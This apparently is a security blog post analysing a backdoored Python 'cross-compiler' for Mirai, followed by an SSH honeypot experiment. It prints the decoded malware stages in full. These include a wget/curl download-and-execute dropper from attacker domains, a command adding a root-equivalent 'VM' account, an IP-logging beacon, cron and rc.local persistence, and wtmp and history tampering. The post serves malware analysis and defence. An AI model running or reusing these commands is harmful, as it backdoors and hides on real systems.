Scanning for Scanners

Recently, a malicious Python script claiming to be a “cross-compiler” for things like Mirai was brought to my attention. I decided I would look into such a thing as it seemed odd that someone would spread malware that way.

Upon analyzation of the script, I came across this beautiful snippet:

checkbinaries = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vc3Vja215YXNzLmdhLy54ICA7ICBjdXJsIC1PIGh0dHA6Ly9zdWNrbXlhc3MuZ2EvLnggIDtjaG1vZCAreCAueDsgbm9odXAgLi8ueCA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLng="
rebinaries = str(base64.b64decode(checkbinaries))
run(rebinaries)

Ah yes, what a great little backdoor! Let’s see what that base64 translates to…

cd /tmp
wget -q http://suckmyass.ga/.x
curl -O http://suckmyass.ga/.x
chmod +x .x
nohup ./.x </dev/null >/dev/null 2>&1
rm -rf .x

And, as expected, it’s running a little dropper script. Interesting choice of domain, but I won’t knock them for that 😉.

Here’s what that dropper ends up being:

echo -ne '\x75\x73\x65\x72\x61\x64\x64\x20\x2d\x75\x20\x30\x20\x2d\x67\x20\x30\x20\x2d\x6f\x20\x2d\x6c\x20\x2d\x64\x20\x2f\x72\x6f\x6f\x74\x20\x2d\x4e\x20\x2d\x4d\x20\x2d\x70\x20\x27\x24\x31\x24\x4d\x61\x52\x31\x56\x61\x6d\x68\x24\x41\x38\x79\x44\x6a\x72\x47\x46\x79\x38\x66\x6d\x46\x52\x5a\x33\x75\x4b\x39\x46\x61\x2e\x27\x20\x56\x4d\x20\x0a\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x70\x6c\x6f\x67\x67\x65\x72\x2e\x63\x6f\x6d\x2f\x31\x59\x6b\x52\x39\x37\x20\x2d\x6f\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x0a\x77\x67\x65\x74\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x70\x6c\x6f\x67\x67\x65\x72\x2e\x63\x6f\x6d\x2f\x31\x59\x6b\x52\x39\x37\x20\x2d\x4f\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31' | bash

cd /boot ; wget -q http://suckmyass.ga/.a -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1 ;  rm -rf .b
cd /boot ; curl -O  http://suckmyass.ga/.a ; chmod +x .a; nohup ./.a  >/dev/null 2>&1 ; rm -rf .a

Okay, thats a tad ugly but nothing too severe. Weird choice to put more droppers in /boot, but who knows why they thought that would be a great idea. Let’s look at this excessively escaped string first.

useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$MaR1Vamh$A8yDjrGFy8fmFRZ3uK9Fa.' VM
curl https://iplogger.com/1YkR97 -o /dev/null >/dev/null 2>&1
wget https://iplogger.com/1YkR97 -O /dev/null >/dev/null 2>&1

Adds a user named VM with the md5crypt hash $1$MaR1Vamh$A8yDjrGFy8fmFRZ3uK9Fa. for a password. As it turns out, this password is just lol123. It also sends your IP off to that iplogger link so that they can retreive a list of infected machines later. Let’s check back on what that other dropper was.

rm -rf /etc/cron.hourly/0
rm -rf /etc/cron.daily/0
rm -rf /etc/cron.weekly/0
rm -rf /etc/cron.monthly/0
rm -rf /var/log/wtmp
echo -e '#!/bin/sh\n\nwget --quiet http://suckmyass.ga/.x -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://suckmyass.ga/.x -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://suckmyass.ga/.x -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://suckmyass.ga/.x -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://suckmyass.ga/.x -O- 3>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;
head -c -384 /var/log/wtmp > .wtmp; mv .wtmp /var/log/wtmp; chmod 664 /var/log/wtmp; chown root:utmp /var/log/wtmp;
history -c;
unset history;history -w

And here’s where things get quite nasty. It puts itself in about every possible bit of cron, and messes with wtmp to conceal logins.

Ultimately, I haven’t been able to find much more about this malware besides finding the following variant:

cd /etc
wget -q http://gotmilk.ml/HjT5Rk -O .l
chmod +x .l
nohup ./.l </dev/null >/dev/null 2>&1
rm -rf .l
clear
history -c

Unfortunately this script is now down, so I have been unable to find if it was identical to the suckmyass.ga variant. There are several other variants with varying levels of complexity, lots of similar free Freenom domains, and the same typical “drop root account, log ip remotely” technique.

I decided that since I had hit a brick wall in terms of reversing, it was time to lure them in. Luckily I found a tool called sshesame that could do just that, and it’s written in Go so it should be a breeze to get it working.

It’s as simple as this once you have Go installed:

go get github.com/jaksi/sshesame

After getting it installed, I make a startup script,

#!/usr/bin/env bash
sshesame -host_key sshesame_id -json_logging -listen_address ██.███.█.██ -port 22 -server_version "SSH-2.0-OpenSSH_7.2p2" >> sshesame.log

then I simply start it in screen,

screen -dmS sshesame ./sshe.sh

and put yourself in the list of “infected” machines:

curl https://iplogger.com/1YkR97

Upon running this, I ran into an issue: sshesame doesn’t output to stdout by default, and as a result was only outputting to the terminal. This is fixable with a 2 line patch.

diff --git a/main.go b/main.go
index 80ef67d..58888e8 100644
--- a/main.go
+++ b/main.go
@@ -11,6 +11,7 @@ import (
        "io/ioutil"
        "net"
        "strconv"
+       "os"
 )

 func main() {
@@ -24,6 +25,7 @@ func main() {
        if *jsonLogging {
                log.SetFormatter(&log.JSONFormatter{})
        }
+       log.SetOutput(os.Stdout)

        var key ssh.Signer
        var err error

And now we wait. I gave it 2-3 days, and decided to check back in. To speed up checking through all the results, I wrote this script:

#!/usr/bin/env bash
cat sshesame.log | grep 'Password authentication accepted' | while read line; do
        echo "$line" | jq -r '"\(.user):\(.password)"'
done

This yields some fairly interesting results:

admin:1111
admin:admin
admin:default
admin:password
pi:raspberry
pi:raspberryraspberry993311
root:
root:1
root:123456
root:1qaz@WSX
root:mwdsONt5nWD5xCBGZy
root:oFx2Qjyxtiyz
root:password
root:root
root:rpitc
root:wubao
sinusbot:sinusbot
0101:0101

Unfortunately, it appears that we haven’t received any attempts to login as VM or even using the lol123 password 😞. Seems the owner must’ve forgot about their botnet, what a shame.

Despite this, it appeared I was getting plenty of attempts to use my server as a proxy. I decided to check out what was being sent through these fake tunnels and found this:

GET /████/█████?username=███████@gmail.com&█████=█ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip
HostName: ███.██.███.█:████:██████:████████
Cookie: auth=██████████████
Host: ████.███████████████.██
Connection: keep-alive

Seems someone is piping their sensitive email details and cookies over random SSH channels. Oooops. If only there was meta-vulnerability disclosure… maybe HackerHackerOne?

To be continued…